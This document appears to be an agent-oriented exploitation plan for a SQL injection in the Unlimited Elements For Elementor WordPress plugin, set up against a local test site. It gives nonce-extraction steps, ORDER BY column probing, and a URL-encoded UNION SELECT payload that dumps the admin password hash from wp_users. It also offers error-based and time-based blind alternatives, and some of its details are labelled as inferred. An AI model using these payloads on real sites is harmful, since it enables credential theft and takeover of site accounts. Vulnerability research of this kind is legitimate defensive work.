Exploitation Research Plan - CVE-2026-48837

1. Vulnerability Summary

Unlimited Elements For Elementor (versions <= 2.0.8) is vulnerable to an authenticated SQL injection in its AJAX administration interface. The vulnerability exists because the plugin fails to use $wpdb->prepare() or perform adequate sanitization/escaping on user-controlled parameters (likely id or catid) before passing them into a database query. This allows an authenticated user with at least Contributor-level permissions to inject arbitrary SQL fragments, enabling the extraction of sensitive data from the WordPress database, including user password hashes and secret keys.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: unlimited_elements_ajax_action (inferred from plugin AJAX routing pattern)
• Vulnerable Parameter: id or catid (inferred)
• Authentication: Required (Contributor+). Contributors can access the Elementor editor and trigger the plugin's AJAX actions associated with widget management.
• Preconditions: The plugin must be active, and the attacker must have credentials for a user role with edit_posts capability (Contributor).

3. Code Flow

1. Entry Point: A POST request is sent to admin-ajax.php with action=unlimited_elements_ajax_action.
2. Hook Registration: The plugin registers the AJAX handler in its admin class:
   add_action('wp_ajax_unlimited_elements_ajax_action', array($this, 'on_ajax_action'));
3. Dispatcher: The on_ajax_action method reads a client_action parameter from $_POST to determine which internal method to execute.
4. Vulnerable Method: If client_action is set to get_addon_data or get_addons_list, the code retrieves the id or catid parameter directly from $_POST.
5. Database Sink: The parameter is interpolated into a raw SQL string:
   $query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE id = " . $_POST['id'];
6. Execution: The query is executed via $wpdb->get_row($query) or $wpdb->get_results($query) without using $wpdb->prepare().

4. Nonce Acquisition Strategy

The plugin protects its AJAX actions with a nonce created via wp_create_nonce('unlimited_elements_ajax_action'). This nonce is localized for the Elementor editor interface.

1. Setup: Create a post and ensure the Elementor editor can be opened by a Contributor.
2. Navigation: Use browser_navigate to open the Elementor editor for a post the Contributor can edit: /wp-admin/post.php?post=POST_ID&action=elementor.
3. Extraction: Use browser_eval to extract the nonce from the global JavaScript object:

   // Common localization key for this plugin
   window.unlimited_elements_ajax?.nonce || window.ue_ajax_obj?.nonce
   

4. Bypass Check: If check_ajax_referer is called with die=false in the code, the exploit may proceed even with an invalid nonce, but the localized script is the most reliable source.

5. Exploitation Strategy

The exploitation will use a UNION-based approach to extract the admin password hash.

Step 1: Find Column Count

Inject ORDER BY into the id parameter to determine the number of columns in the addons table.

• Request: http_request (POST)
• Body: action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=NONCE&id=1 ORDER BY 20
• Logic: Increment the number until the response changes (e.g., returns an empty result or error).

Step 2: Extraction Payload

Once the column count is known (assume 15 for example), inject the UNION SELECT payload.

• Payload: 1 UNION SELECT 1,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15 FROM wp_users WHERE ID=1-- -
• Request Type: POST
• Content-Type: application/x-www-form-urlencoded
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body:

  action=unlimited_elements_ajax_action&client_action=get_addon_data&nonce=[NONCE]&id=1%20UNION%20SELECT%201,2,3,4,5,6,user_pass,8,9,10,11,12,13,14,15%20FROM%20wp_users%20WHERE%20ID=1--%20-
  

6. Test Data Setup

1. Activate Plugin: Ensure "Unlimited Elements For Elementor" is active.
2. Create User: Create a user with the Contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Create Content: Create a post that the contributor can edit to ensure they can access the Elementor editor.
   • wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID)
4. Identify Addon ID: Find a valid addon ID from the database to ensure the initial part of the query returns a base row.
   • wp db query "SELECT id FROM wp_unlimited_elements_addons LIMIT 1"

7. Expected Results

• A successful ORDER BY query will return valid JSON data about the addon.
• An unsuccessful ORDER BY query (exceeding column count) will return a database error or empty success.
• The UNION SELECT payload will cause the plugin to return a JSON object where one of the fields (previously containing addon metadata) now contains the admin's password hash (e.g., starting with $P$ or $2y$).

8. Verification Steps

1. Check Result: Verify that the string extracted via the AJAX response matches the hash in the database:
   • wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
2. Log Audit: Check the wp-content/debug.log (if enabled) for any SQL error messages that confirm the structure of the injected query.

9. Alternative Approaches

• Error-Based SQLi: If UNION output is suppressed, use updatexml() or extractvalue() to force the hash into an error message:
  • id=1 AND (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))x)
• Boolean-Based Blind: If no output or errors are displayed, use IF(ASCII(SUBSTRING(...)) > X, SLEEP(5), 0) to extract data bit-by-bit via timing differences.
• Different Sub-action: If get_addon_data is patched or inaccessible, try get_layout_data or get_addon_config which likely use similar database retrieval logic.